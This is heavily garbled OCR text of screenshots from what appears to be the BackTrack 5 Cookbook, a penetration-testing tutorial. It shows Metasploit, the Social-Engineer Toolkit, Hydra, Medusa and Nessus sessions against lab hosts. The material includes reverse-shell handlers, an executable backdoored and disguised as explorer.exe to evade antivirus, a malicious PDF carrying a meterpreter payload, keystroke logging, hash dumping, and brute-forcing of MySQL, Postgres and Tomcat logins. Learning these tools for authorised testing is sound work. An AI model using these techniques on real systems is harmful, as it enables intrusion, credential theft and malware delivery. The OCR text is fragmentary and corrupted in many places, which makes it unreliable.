plaintext length range: 1 - 7

reduce offset: 6x00000000 ———
plaintext total: 80603140212

equential starting point begin from @ (exaeaeeea naamme)@?ﬁ
%eneranng -

~C /
root@bt:/pentest/passwords/rainbowcrack# ./rtgen md5 loweralph
00 33554432 0 |
rainbow table md5 loweralpha-numeric#1-5 0 3800x33554432 0.rt pa
hash algorithm: md5
hash length

He-baleitEER

charset 1ength

plaintext length range: 1 = 5
reduce offset: 6x00000000
plaintext total: 62193780

sequential starting point begin from © (©x0000000000000000)
generating...
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oclHashcat-plus, advanced password recovery

Usage: oclHashcat-plus [options]... hash|hashfile|hccapfile [dictionary|mask|dir
ectory]..

Options =
* General:
-m, --hash-type=NUM Hash-type, see references below
-a, --attack-mode=NUM Attack-mode, see references below
-V, --version Print version \
-h, --help rmt elp r3 \ N\
--eula LA \
< back#rac ,
* Misc:
--runtime=NUM Abort session after NUM seconds of runtime
--force Ignore warnings
--hex-salt Assume salt is given in hex
--hex-charset Assume charset is given in hex
* Outfile:
-0, --outfile=FILE Define outfile for recovered hash

--outfile-format=NUM Define outfile-format for recovered hash






OEBPS/Image00292.jpg
*] Auxiliary module execution completed

[*] writing email address list to /root/Desktop/gmail.com...
[
msf auxiliary(search_email _collector) >
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msf auxiliary(search email collector) > set domain gmail.com
domain => gmail.com
msf auxiliary(search email collector) > set outfile /root/Desktop/gmail.com

outfile => /root/Desktop/gmail.com
msf auxiliary(search_email collector) > ] “\
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ﬁ exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

neterpreter > I
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Welcome to the Social-Engineer Toolkit (SET). Your one
stop shop for all of your social-engineering needs,

Join us on freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select fromf thedfienu:

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework

5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit
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ITHIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and is applied to Social-En|

gineer Toolkit as well. JL\
S

Note that the Social-Engineer Toolkit is provided as 1s, and .J_s-«a“ﬁﬁ‘a Lty free of

pen-source application. -

Feel free to modify, use, change, market, do whatever you want with

s you give the appropriate credit where credit

is due (which means giving the authors the credit they deserve for wi

[Also note that by using this software, if you ever

see &he creator of SET in a bar, you are rqqulred to give him a hug al

a beer. Hug must last at least 5 seconds.
holds the ht<u e be rt (
A %._.,. 3
The Sunal Engineer Too xt 1s dehqne pufely ur uuo and hot evil u

planning on using this tool for malicious “purposes that are
not authorized by the company you are performing assessments for, you are violat
ing the terms of service and license of this toolset. By hitting

yes (only one time), you agree to the terms of service and that you will only us|
e this tool for lawful purposes only.

Do you agree to the terms of service [y/n]: vl
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The Social-Engineer Toolkit is a product of Trustedsec:
Visit: https://www. trustedsec.com

Select from the menu:

1) Spear-Phishing Agtack Vectors

2) Website Attagk

3) Inteceusgicsa end e rac
4) Create 3 Payload (\

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) sis Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector

10) Powershell Attack Vectors

11) Third Party Modules

99) Return back to the main menu.

set>
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Enter the IP address for the payload (reverse
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nsf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

reterpreter > |
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meterprete
[-]1 warning:

no
token is SYSTEM

Delegation Tokens Available

willie-PC\willie

Impersonation Tokens Available

No tokens available

meterpreter > ||
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riv: Password database Commands

comnand Description
hashdump Dumps the (nnter}s of the SAM data@
riv: Timestomp Commands /_ .

Command Description

timestonp  Manipulate file MACE attributes

< back [track 5

Description
add_group_user Attempt to add a user to a global group with all tokens
add localgroup user Attempt to add a user to a local group with all tokens
add_user Attenpt to add a user with all tokens
inpersonate token  Inpersonate specified token
List_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token

eterpreter > |
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root@bt:/pentest/exploits/set# zip healthyfiles explorer.exe
adding: explorer.exe (deflated 5%)
root@bt:/pentest/exploits/set# 1s

config modules set set-update src
explorer.exe readme set-automate setup.py
healthyfiles.zip reports set-proxy set-web

@bt:/pentest/exploits/set# fl
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~# cd /pentest/exploits/set

:/pentest/exploits/set# 1s

config msf.exe reports set-automate set-update set-web
modules readme set set-proxy setup.py src
root@bt:/pentest/exploits/set# mv msf.exe explorer.exe
root@bt:/pentest/exploits/set# s

config modules reports set-automate set-update set-web
explorer.exe readme set set-proxy setup.py  src
root@bt:/pentest/exploits/set# [
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essus

Policies

® Add Policy

General
Credentials
Plugins

Preferences

“Reports  Scans  Policies  Users

| Hob | Avou | teso

Filter _ ‘Show Only Enabled Plugins Reset Filter

Families Plugins
® oisco Defauit Password (0p3nmash) for root: Account

Default Password (12345678) for oot Account on MacOS X Server

@ centos Local security Checks

Defavit Password (admin) for ‘admin' Account

(@ ons
® Oatabases Defauit Password (admin) or oot Account
@ Debian Local Securiy Ches
(O Defautt Unix Acoounts.

@ Denial of Servic

Defauit Password (alien) for oot Account
Defauit Password (alpine) for mobile' Account

Defaut Password (alpine) for roof Account

Plugin Description

Enabled Familes: 4  Enabled Plugins: 4027 Enable Al Disable All

Cancel  Back Next
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meterpreter > keyscan start
Starting the keystroke sniffer...
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ﬁ exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

neterpreter > |
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BackTrack 5 Cookbook
ik B E S A 1T EEE

BackTrack 5 Cookbook

[5] Pritchett Willie P
[28] David De Smet

Archer #
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& 2 Nessus Scan was successfully launched wip I Halp | About | Log out

Name ' Start Time
Internal Metwork Test 0IPs/BIPs Aug 6, 2012 19:40
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;IS% exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

neterpreter > |





OEBPS/Image00079.jpg
£ Nessus

Policies

@® Add Policy

General
Credentials
Plugins

Preferences

wite | bop | Ao | Lage

visioiity [

Save Knowledge Base
Sdfe Checks

‘Sient Dependencies

Log Scan Detais o Server

Stop Host Scan on Disconnect

Avoid Sequential Scans

Considar Unscanned Ports as Closed

Designate Hosts by their DNS Name

Network Congestion
Reduce Paralll Connections on Congestion
Use Kemel Congestion Detection (Linux Only)

Port Scanners
TGP Scan SNMP Scan
UDP Scan Netstat SSH Scan
SYNscan Netstat WM Scan
Port Scan Options

port saanRange (RN

Performance

Ping Host

ey
Nevork Recave Tinaout oconcs)

Max Simultaneous TCP Sessions Per Host

Max Simultaneous TCP Sessions Per Scan

Cancel Next
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AAAAAACC
"generatedCrunch.txt" 100000000L, 900000000C
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Filter

Families

©

@)
£
o,
-~

SNMP
Scientific Linux Local Security Checks

Service detection

Slackware Local Security Checks

Solaris Local Security Checks

SuSE Local Security Checks

Plugin Description

Enabled Families: 10  Enabled Plugins:

Plugins

Show Only Enabled Plugins

ADSI Settings
AppSocket & socketAPI Printers - Do Not Scan
Authenticated Check: OS Name and Installed Package Enumeration

Authentication Failure - Local Checks Not Run

Cleartext p | tti

=
Database settings

Do not scan fragile devices

Enable All

Cancel

Reset Filter

Disable All

Submit
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Nessus wip | Hop | Abow | Logou

Scans “Reports  Scans  Policies  Users.

@® Add Scan

Name Internal Network Test

Scan Targets

Cancel Launch Scan
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Below is a t of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typi{éﬁy the best.

1) avoid utf8 tolower (Normal)
2) shikata ga nai (Very Good)
3) alpha mixed (Normal)
4) alpha upper (Normal)

5) call4 dword xor {Normal) |
6) countdown (Norma

el aclk | trac

8) jmp_call additiv

9) nonalpha (Normal)

10) nonupper (Normal)

11) unicode mixed (Normal)

12) unicode_upper (Normal)

13) alpha2 (Normal)

14) No Encoding (None)

15) Multi-Encoder (Excellent)
16) Backdoored Executable (BEST)

encoding>16
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1) Windows
tacker

2) Windows
o attacker

3) Windows
ker

4) Windows
ote systen

5) Windows

6) Windows

7) Windows
eter

8) Windows
nuttiple ports

9) mnduws,n terpre

Meterpreter Eqress Buster
terpreter
10) mndnws Hetel

:aeck
ALANIN
eterpreter

11) SE Toolkit Interactive Shell

12) SE Toolkit HTTP Reverse Shell
[t

13) RATTE HTTP Tunneling Payload
over HTTP

14) shellCodeExec Alphanum Shellcode
odeexec (A/V safe)

15) Inport your own executable

Shell Reverse TCP
Reverse TCP Meterpreter
Reverse TCP VNC DLL
Bind Shell

Bind Shell X64

shell Reverse TCP X64
Meterpreter Reverse TCP X64

pre

jset:payloads>2

Spawn a
Spawn a
Spawn a
Execute
windows
Windows

Connect

Spaun a

command shell on victim and send back to at

meterpreter shell on victim and send back t

VNC_server_on.vittin and send back to attac

payload-and create cepting port on rem

x64 Command She!
X64 Command She
back to the atta

,» Bind TCP
, Reverse TCP Inline
r (Windows x64), Meterpr

SR R R

ort_home via
verilﬂiE IJS H3:5L and use Me
Use‘*amoshsme\:ﬁ ' "})ﬂdress and spawn M

Custon interactive reverse toolkit designed for SET
Purely native HTTP shell with AES encryption suppor

Security bypass payload that will tunnel all comms

This will drop a meterpreter payload through shellc

specify

a path for your own executable
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wove shells --egypt

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
927 exploits - 499 auxiliary - 151 post
251 payloads - 28 encoders - 8 nops

[*] Processing src/program junk/meta config for ERB directives.
Eesuurce (src/program_junk/meta config)> use exploit/multi/handler

esource (src/program_junk/meta config)> set] PAYLOAD windows/meterprete, reversr_gz
AYLOAD => windows/met: i €] ()

s B e ok o3 CK

HOST => 0.0.0.0 ol

esource (src/program junk/meta config)> set! LPORT 445

PORT => 445

esource (src/program junk/meta config)> set ExitOnSession false
xitOnSession => false

esource (src/program junk/meta config)> set AutoRunScript migrate -f
utoRunScript => migrate -f

esource (src/program junk/meta config)> exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...

sf exploit(handler) >
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coding>16 i
payloads> PORT of the listener [443]:443
Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
Backdoor completed successfully. Payload is now hidden within a legit executable.
UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.
Packing the executable and obfuscating PE file randomly, one moment.
Digital Signature Stealing is ON, hijacking a legit digital certificate
[*] Your payload is now in the root directory of SET as msf.exe
[-]1 Packing the executable and obfuscating PE file randomly, one moment.
[-] The payload can be found in the SET home directory.
et> Start the listener now? [yes|no]: yesf]
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= T Use Kemel Congestion Detection (Linux Only)
Description Port =
Credentials TCP Scan SNMP Scan Ping Host
Plugins UDP Scan Nefstat SSH Scan
SYN Scan Nefstat WM Scan
Preferences
Save Knowledge Base Port Scan Options
Safe Checks Port Scan Range (Rl
Sient Dependencies Performance

Log Scan Detals fo Server naxcrecs perrost NG
Stop Host Scan on Disconnect Max Hosts Per Scan
Avold Sequential Scans Network Recaive Timeout (seconds) [ IR
Consider Unscanned Ports as Closed Max Simultaneous TCP Sessions Per Host

Designate Hosts by their DNS Name Max Simuitaneous TCP Sessions Per Scan  [EAT]

Cancel Submit
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msf auxiliary(postgres leogin) > set RHOSTS 192.168.10.111

RHOSTS == 192.168.10.111

msf auxiliary(postgres legin) > set user file /opt/metasploit/msf3/data/wordlists/postgres defau
Lt user.txt

user file => /opt/metasploit/msf3/data/wordlists/postgres default user.txt

msf auxiliary(postgres legin) > set pass file /Gptfmeta5p101t/m5f3/data/wcrdllstslpostgres defau
Lt pass.txt

pass file == /opt/metasploit/msf3/data/wordlists/postgres default pass.tixt

msf auxiliary(postgres_login) > |}
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Credentials
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Log Soan Details fo Server

Stop Host Scan on Disconnect

Avoid Sequential Scans

Consider Unscanned Ports as Closed

Designate Hosts by their DNS Name.

Network Congestion
Reduce Parallel Connections on Congestion
Use Kemel Congestion Detection (Linux Only)

~ Port Scanners

TCP Scan SNMP Scan
UDP Scan Nefstat SSH Scan
SYN Scan Nefstat WMI Scan

Port Scan Options
port Scan Range [

Ping Host

Performance
Max Checks Per Host
Mex Hosts Per Saan
Network Receive Timeout (seconds)

Max Simultaneous TCP Sessions Per Host

Max Simultaneous TCP Sessions Per Scan

100

unlimited

unlimited

Cancel Next
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Filter
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Ubuntu Local Security Checks
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Plugin Description
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Matching Modules

Name
Description

auxiliary/admin/mysql/mysql_enum
MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql
MySQL SQL Generic Query
auxiliary/admin/tikiwiki/tikidblib 2006-11-01
Tikiwiki Information Disclosure

auxiliary/analyze/jtr mysql fast
ekt ack
m ut ass_hashdunm @»@ 8
(o < -

John the Ripper MySQ
auxniaréc er/m

ithel
auxiliary/scanner/mysql/mysql_hashdump

MySQL Autheftication
MYSQL Password Hashdump

auxiliary/scanner/mysql/mysql login normal
MySQL Login Utility

auxiliary/scanner/mysql/mysql_schemadump normal
MYSQL Schema Dump

auxiliary/scanner/mysql/mysql version normal
MySQL Server Version Enumeration

auxiliary/server/capture/mysql normal

Authentication Capture: MySQL
exploit/linux/mysql/mysql yassl getname 2010-01-25 good

r3\





OEBPS/Image00264.jpg
xHydra

Target Passwords Tuning | Specific Start
Performance Options

Number of Tasks
Timeout

# Exit after first found pair

Use a HTTP/HTTPS Proxy
© No Proxy O HTTP Method O CONNECT Method

Proxy [ttpn27.00.1:8080 |
(7 Proxy needs authentication

Usemame frouname ]

Password [yourpass |

hydra -V -L /pentestiwebjwruzz/wordiist/fuzzdbwordiists-user-passwd... 4
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exploit(distcc_exec) > exploit \\
started reverse dogble handler ] r3
Accepted the first Ghientegonpectiope . . \
rnddeeyeie | trac ‘
Conmand: &cho 7K6u 1

Writing to socket A
Writing to socket B
Reading from sockets. ..
Reading from socket A

A: "TK6ukcecCEIZFTLC\M\n"

Matching. ..

B is input...

Conmand shell session 1 opened (192.168.10.109:4444 -> 192.168.10.111:35541) at 2012-08-28 01
29 -0400
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Target | Passwords | Tuning ' Specific Start
Usemame

O Usemame youmame

© Usemame List wd/names/namelist.tx{}

Loop around users
password®

O Password | yourpass

© Password List [isswd/passwds/john.txt

Colon separated file

0] Use Colon separated file

) Try login as password ® [Try empty password|

hydra -V -L /pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/...
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asf auxiliary(mysql login) > show options

fodule options (auxiliary/scanner/mysql/mysql login):

Try blank passwords for all users—s ™,
3 with

How fast to bruteforce, /from 0 Eﬂ
ifa to tica’
Ak
arget address range-or CIDR identifier
The target port

Stop guessing when a credential works for a host
The number of concurrent threads

A specific username to authenticate as
File containing users and passwords separated by

Try the username as the password for all users
File containing usernames, one per line

Name Current Setting Required Description
BLANK PASSHORDS  true no
BRUTEFORCE SPEED 5 yes
PASSWORD b
pass FILEL & | @ C X
RHOSTS A CA N By
RPORT 3306 yes
STOP ON SUCCESS  false yes
THREADS 1 yes
USERNAME no
USERPASS FILE no
space, one pair per line
USER AS PASS true no
USER FILE no
VERBOSE true yes

nsf auxiliary(mysql login) > |

whether to print output for all attempts
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Target Passwords Tuning Specific Start

Output
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purpos

Hydra (http:/www.thc.org/thc-hydra) starting at 2012-08-29 07:27:17
[DATA] 2 tasks, 1 server, 5926956 login tries (1:1907/p:3108), ~2963478 trig|
[DATA] attacking service mysgl on port 3306 |
[ATTEMPT] target 192.168.10.111 - login "0" - pass "" - 1 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login 01" - pass "* - 2 of 5926956 [chils
[ATTEMPT] target 192.168.10.111 - login "02" - pass " - 3 of 5926956 [chﬂj
[ATTEMPT] target 192.168.10.111 - login "03" - pass "* - 4 of 5926956 [chils

start]| stop | save Output | Clear Output

hydra -V -L jpergestiwebwfuzzordist/fuzzdbwordlists-user-passwd/... 4
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= ‘E ‘
o LTy
-ty

> Use auxiliaryfﬁcannerfmyqufmyﬂql_lugin
auxiliary(mysql_login) = |}
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Target | Passwords Tuning Specific Start
Target

O Single Target 192.168.10.111

O Target List

Prefer IPV6

port

Protocol

Output Options

() Use ssL [ Be Verbose

 Show Attempts O Debug

hydra -V -L /pentestiweb/wuzz/wordlist/fuzzdb/wordlists-user-passwd... 4
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root@bt:~# fetc/init.d/nessusd start

Starting Nessus :
root@bt:~# Missing plugins. Attempting a plugin update...

Your installation is missing plugins. Please register and try again.
To register, please visit http://www.nessus.org/register/

root@bt:~# |
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[*]
11
[+]

5t
]
[*1
[*]
*1
[*]
*1
[*1
]
msf.

192.168.1@,111-336%&QWF remote| My
192.168¢10. 1 =\ [1/710& Trying
192.168. 1 'SUCEESSFUL LOGEN
192.168.10.111:3306 MYSQL - [2/7] - Tryil
192.168.10.111:3306 MYSQL - [2/7] - failed
192.168.10.111:3366 MYSOL - [3/7] - Trying
192.168.10.111:3306 MYSQL - [3/7] - failed
192.168.10.111:3366 MYSQL - [4/7] - Trying
192.168.10.111:3306 MYSQL - [4/7] - failed
192.168.10.111:3306 MYSQL - [5/7] - Trying
192.168.10.111:3306 MYSQL - [5/7] - failed

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary(nysql_login) >

oot '™
g username: 'admin' with passwnrg;"

uwrﬁmg’%ﬁ nasm

to login as ‘admin’ with password **
username: ‘adnin’ with password: ‘adnin’

to login as ‘admin' with password ‘admin'
username: ‘admin’ with password: ‘root"

to login as ‘admin’ with password 'root’
username: ‘adnin’ with password: ‘msfadmin’

to login as ‘admin’ with password ‘msfadmin’
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msf auxiliary(mysql login) > set RHOSTS 192.168.10.111

RHOSTS => 192.168.10.111

msf auxiliary(mysql login) > set user file /root/Desktop/usernames.txt
user_file => /root/Desktop/usernames.txt

msf auxiliary(mysql login) > set pass_file /root/Desktop/passwords.txt
pass_file => /root/Desktop/passwords.txt

msf auxiliary(mysql_login) >
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xHydra

[Target| passwords Tuning Specific Start
Target:

© single Target 127.001
O Target List
) Prefer 1PV6,
port

Protocol

Output Options.

[ Use SSL [ Be Verbose

0 Show Attempts [ Debug

hydra -| youmame -p yourpass -t 16 127.0.0.1 afp
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tabel [ ]

Description

[ Do not show this dialog again
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st auxiliary(pestgres login) > show options

Module options (auxiliary/scanner/postgres/postgres login):

Nane Current Setting e Required
Description =
FESLE R / // ________
BLANK PASSWORDS  true no

Try blank passwords for all users
BRUTEFORCE_SPEED 5

How fast to bruteforce, from @ to 5
DATABASE templatel

The database to authenticate against 1 r3
PASSWORD

A speciﬁ((-ss('u o @ﬁ h I [a‘]gk(
PASS FILE / Lott/ms 3/data/: s s  defal s txt no

File containing passwords, one per line

RETURN ROWSET ~  true no
Set to true to see query result sets

RHOSTS yes
The target address range or CIDR identifier

RPORT 5432 yes
The target port

STOP ON SUCCESS  false yes
Stop guessing when a credential works for a host

THREADS 1 yes

The number of concurrent threads
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xHydra

Target Passwords Tuning | Specific Start
performance Options

Number of Tasks
Timeout

& Exit after first found pair

Use a HTTP/HTTPS Proxy
© NoProxy O HTTP Method © CONNECT Method

Proxy [htpin27.00.10080 |

(] Proxy needs authentication
Usemame [youname

Password [yourpass

Ipentestiwebwluzzwordlistfuzzdbiwordii






OEBPS/Image00066.jpg
i Start Page x |55 TargetHost + x

Main View | Bubble view | Entity

p

<o

Target Company \
4 o

192.168.10.101

W o e

targethost.com 207.143.76.86 w

2.168.10,106

= -

ns101 targethost.com 1324080201






OEBPS/Image00148.jpg
msf > search postgresql

Matching Modules

Name ‘| H
auxlllarm{adminjpostgres/pBStqres r%adfll
rver Generic Query ‘ f
auxlllaryfadmln/postgres!postgres_sql
rver Generic Query
auxiliary/scanner/postgres/postgres login
gin Utility
auxiliary/scanner/postgres/postgres version
rsion Probe
exploit/windows/postgres/postgres payload
r Microsoft Windows Payload Execution

msf > |J

i
“q\-ﬂqi—iiw——ﬁ“"?
f

T | ¥l

Disclosure Datew
’ |

el
A =4
| \
| €A SN
) i

2009-04-10 00:00:00 UTC

‘ Rank
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'nermal

nqrmal
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Target | Passwords | Tuning Specific Start
Usemame

O Usemame youmame
© Usemname List pwd/names/nameli

Loop around users
password®

Password yourpass

© Password List asswd/passwds/john.txt

Colon separated file

(] Use Colon separated file

0 Try login as password 4 [Try empty password

hydra -V -L /pentestiweb/wfuzz/wordlist/fuzzdbiwordlists-user-passwd...
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root@bt: /pentest/explo: t/ 153, nn?"/ﬁa?ﬁcbnﬂmaé 0
[*] Please é ile r a‘ @ \
At A \ @ s BN

Name Current Setting Requxreﬂ e r1ptmn

BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEOUT 560 yes The reply read timeout in milliseconds
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Target| passwords Tuning Specific Start

Target
© single Target |127.001
O Target List |
[ Prefer IPV6
Port 0 &
Protocol afp v |

Output Options

O Use SSL [0 Be Verbose

[ Show Attempts [ Debug

hydra -l yourname -p yourpass -t 16 127.0.0.1 afp 4
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[*] 192.168.10.111:8188; TOMCAT MGR - [f16/56]7 - Trying username: itomcat’ [with passward; 'tomcat’
[+] http://192.168.10. 11ds8180¢mapnager/html [Apache sCoyete/lsd] [[Temcat Application Mamager] succ
essful logim 'tomcat' : 'tomcat!
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IACCOUNT CHECK: [http] Host: 192.168.10.1 (1 of 1, © completé) Usems,admin (1 of 1, © complete) Pa
ssword: 1 ARLANA (8946 of 1707657 complete)

"CALERT: Medusa received SIGINT - Sending notification to login threads\that we are are aborting.
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root@bt:/pentest/passwords/wordlists# medusa -h 192.168.10.1 -u admin -P /pentest/passwords/wordl
ists/darkcode.lst -e ns -n 80 -F -M httpf]
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msf > use exploit/windows/fileformat/adobe pdf embedded exe
msf exploit(adobe_pdf_embedded_exe) > show options

Module options (exploit/windws/filefarmat/adwheﬁpdfﬁembeﬁqd;_m

Name Current Setting //
Required Description 5 NS
EXENAME
no The Name of payload exe.
FILENAME evil.pdf e
The ogtput filename. Vr3 \\
INFILENAME \'
SL DACK A REAC ‘\
LAUNCH_MESSAGE "To N edcontent H n h is message again"
box and press Open. no The message to display in the File: ar

Exploit target:
Id Name

©  Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)

msf exploit(adobe pdf embedded exe) >
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msf > search pdf

Matching Modules

Name

Description
auxiliary/pdf/foxit/authbypass

Foxit Reader Authorization Bypass
exploit/multi/fileformat/adobe u3d meshcont

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
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=1 i
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Adobe Collab.getIcon() Buffer Overflow
exploit/windows/browser/adobe utilprintf

Adobe util.printf() Buffer Overflow
exploit/windows/browser/verypdf pdfview

VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow
exploit/windows/fileformat/a-pdf wav to mp3

A-PDF WAV to MP3 v1.0.0 Buffer Overflow
exploit/windows/fileformat/activepdf webgrabber

activePDF WebGrabber ActiveX Control Buffer Overflow
exploit/windows/fileformat/adobe collectemailinfo
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FILENAME => evildo ument“pdf J
msf explolt(adobe_pdf_embedded_exe} > set I
INFILENAME => /root/Desktop/willie.pdf

msf exploit(adobe pdf embedded exe) > exploit

msf explnliigd pdflemﬂad¢é§74§é] EﬁgFt ILENﬁhE(Fv1¥H§%ﬁﬁenfkﬁhf i;bigxigﬁ

FILENAME /rnotfﬂesktopfw111;eﬁpdf

[#*] Reading in '/root/Desktop/willie.pdf’...

[#] Parsing '/root/Desktop/willie.pdf’...

[*] Parsing Successful.

[*] Using 'windows/meterpreter/reverse tcp' as payload...

[#*] Creating 'evildocument.pdf’' file...

[+] evildocument.pdf stored at /root/.msf4/local/evildocument.pdf
msf exploit(adobe pdf embedded exe) >
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5 Output - Transform Output

Transforn To Entities (NR) [Alchemy and OpenCalais] via vhois returned with 8 entities.
Transfora To Phone Numbers [using Search Engine] returned with 2 entities

Transforn To Enails edomain [using Search Engine] returned with 4 entities

Using Schena http://tastools.paterva. con/bfdns/asastandard bfdns

Transforn DossinToDNSNaneSchena returned vith 1 entities.
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sﬂ

6=

&l

An intarnet | =Mo Properties=>

ey | 5 output | ¥ x

@ Social N...
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msf auxiliary(browser autopwn) > show options N

Module options (auxiliary/serverihrnwser _autopwn) :

i 1 | [
Name Current §et¢199\ 1 e Descr1p%1 e o= il 5 : 'y,;T "
R %‘ . ..y _';:‘ qg? _______ w‘ _:71 \‘]{‘,’ :"‘37 ﬁ

e

LHOST N NN yes’ AN The IP %dQTESS‘to use T0r~rever§e~connect payloads
SRVHOST 0.0.0.0 yes The local host to listen on. This muSt be an address on
the local machine or ©.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly g
enerated)

SSLVersion SSL3 no Specify the version of SSL that should be used (accepte
d: S5L2, S5L3, TLS1)

URIPATH no The URI to use for this exploit (default is random)

msf auxiliary(browser_autopwn) > [j
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paterva,com

Zi Start Page x| New Graph (1) + x ~Jo
Main View | Bubble View | Entity List

Z Output

¥

5 Detail View

paterva.com

YY)

L
= Property View » x
@ Properties

ype

paterva.com

WHOIS Info
© Graphinfo
Weight
incoming links
Outgoing links
Bookmark
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nsf > search autopwn 1

Matching Modules

[EL Disclosure Date Rank Description

auxiliary/server/browser autopwn normal HTTP Client Automatic Exploiter

usf > use auxiliary/server/browser autopwn]]
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~ v % ettercap 0.7.4.1

File sniff Options_Help
Gnified sniffing Shift+U
Bridged SNiTTiiig Shift+B

Set pcap filter. P
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Target | passwords Tuning Specific Start
Target

O Single Target 192.168.10.111
O Target List
) Prefer IPV6

Port

Protocol [mysal

Output Options

() Use sst () Be Verbose

& Show Attempts [ Debug

hydra -V -L jpentest/web/wfuzz/wordist/fuzzdbjwordlists-user-passwd...
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msf > search tomcat

Matching Modules

X :

Name Disclosure_Date™' Rank Descri
ption .

auxiliary/admin/http/tomcat administration I normal Tomcat
Administration Tool Default Access 3

auxiliary/admin/http/tomcat utf8 traversal - nermal Tomcat
UTF-8 Directory Traversal Vulnerability e =

auxiliary/admin/httpytrendmicro dlp_traversal H . ‘normal TrendM

icro Data Loss Preuentimé 5= n;rggtﬂ?y Jraversali— o ey
aux1llarﬁxdosﬁgttp/amache tomcat transfeo¥encad Zﬂiﬁtﬂ7 Qﬁ 69 00 69 uTC normal Apache

Tomcat Transfer-Efcoding Information Disclosure and DoS*

auxiliary/dos/http/hashcollision dos 2011-12-28 00:00: BB UTC normal Hashta
ble Collisions

auxiliary/scanner/http/tomcat enum normal Apache
Tomcat User Enumeration

auxiliary/scanner/http/tomcat mgr legin normal Tomcat
Application Manager Login Utility

exploit/multi/http/tomcat mgr deploy 2089-11-09 00:00:00 UTC excellent Apache

Tomcat Manager Application Deployer Authenticated Code Execution
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Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus

.net>

ALERT: User logon information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-prpgjsm
] -H nodute [0PT] Y
: Target hostname or IP address

file
-h
H
-u
U
-p
P
-C
-0
-e

rname
M
-m

[TEXT]

[TEXT]

mes with a

module (i.e.

[NUM

[NumM]
[NUM]
[NUM]

File containing target hostnames or IP. uadresses
Username to test

: File containing usernames to test

Password to test
File containing passwords to test
File containing combo entries. See README for more mfnrmatml\

File to append log informa o to
o< £ OACKCLLE K5
)
[TEXT] ul § ut

: Parameter to pass to e ule This can be passed miltipl

different parameter each time and they will all be sent to the

-m Paraml -m Param2, etc.)

: Dump all known modules

: Use for non-default TCP port number

: Enable SSL

: Give up after trying to connect for NUM seconds (default 3)

: Sleep NUM seconds between retry attempts (default 3.

: Attempt NUM retries before qiving up. The total number of attem
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[*] 192.168.10.111:5432
asz 'templatel’
192.168.10.111:5432
i-] 192.168.10.111:5432
[*] 192.168.10.111:5432

[-] 192.168.10.111:5432
[-] 192.168.10.111:5432

[*] 192.168.10.111:5432
‘templatel’

sf auxiliary(postgres login) >

Postgres -

Postgres

Postgres -
Postgres -

Postgres

Postgres -
Postgres -

[-]1 192.168.10.111: 543}}Postgres
[-]1 192.168.18.111; 543Z‘Rnstgmgs

[*] 152. 168116 bi% 5432
‘templatel'
[-]1 192.168.10.111:5432
[-] 192.168.10.111:5432
[*] 192.168.10.111:5432
on database 'templatel’
[+] 192.168.10.111:5432
[+] 192.168.10.111:5432
[*] 192.168.10.111:5432
[*] 192.168.10.111:5432

Postgre

Postgres
Postgres
Postgres

Postgres
Postgres
Postgres
Postgres

exploit

[01/21] - Trying username:'postgres' with password:'' on datab
- Invalid username or password: postgres

[01/21] - Username/Password faile

[82/21] - Trying username:'"' w1th paESword "ien. database ‘tem
- Invalid username or password: X

[82/21] - Username/Password failed.

[03/21] - Trying username:'scott’ w1th password:'' on database
- Inyalid username or passwordy scott' Ik Y %
103/21] - Useth@mg#Pasgyopdu ided
- [04/21] Trying| username‘ adfin’ with passward "' on database
- Invalid ulername or password: admln /
- [84/21] - Username/Password failed.
- [85/21] - Trying username: 'postgres' with password:'postgres’

Logged in to ‘templatel' with ‘postgres':'postgres

Success:

postgres:postgres (Database 'templatel’ succeeded.)

Disconnected

[06/21]

- Trying username: 'scott' with password:'scott’' on dat
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* xHydra

Target Passwords Tuning Specific  Start

Output
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purpost

[Hydra (http:/www.thc.org/thc-hydra) starting at 2012-08-29 07:27:17
[DATA] 2 tasks, 1 server, 5926956 login tries (1:1907/p:3108), ~2963478 tri
[DATA] attacking service mysql on port 3306

[ATTEMPT] target 192.168.10.111 - login *0" - pass ** - 1 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "01" - pass "" - 2 of 5926956 [chil
[ATTEMPT] target 192.168.10.111 - login "02" - pass ** - 3 of 5926956 [chil
[ATTEMPT] target 192.168.10.111 - login "03" - pass "" - 4 of 5926956 [chil
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Malte

Investigate

e

Paste Clear
Al

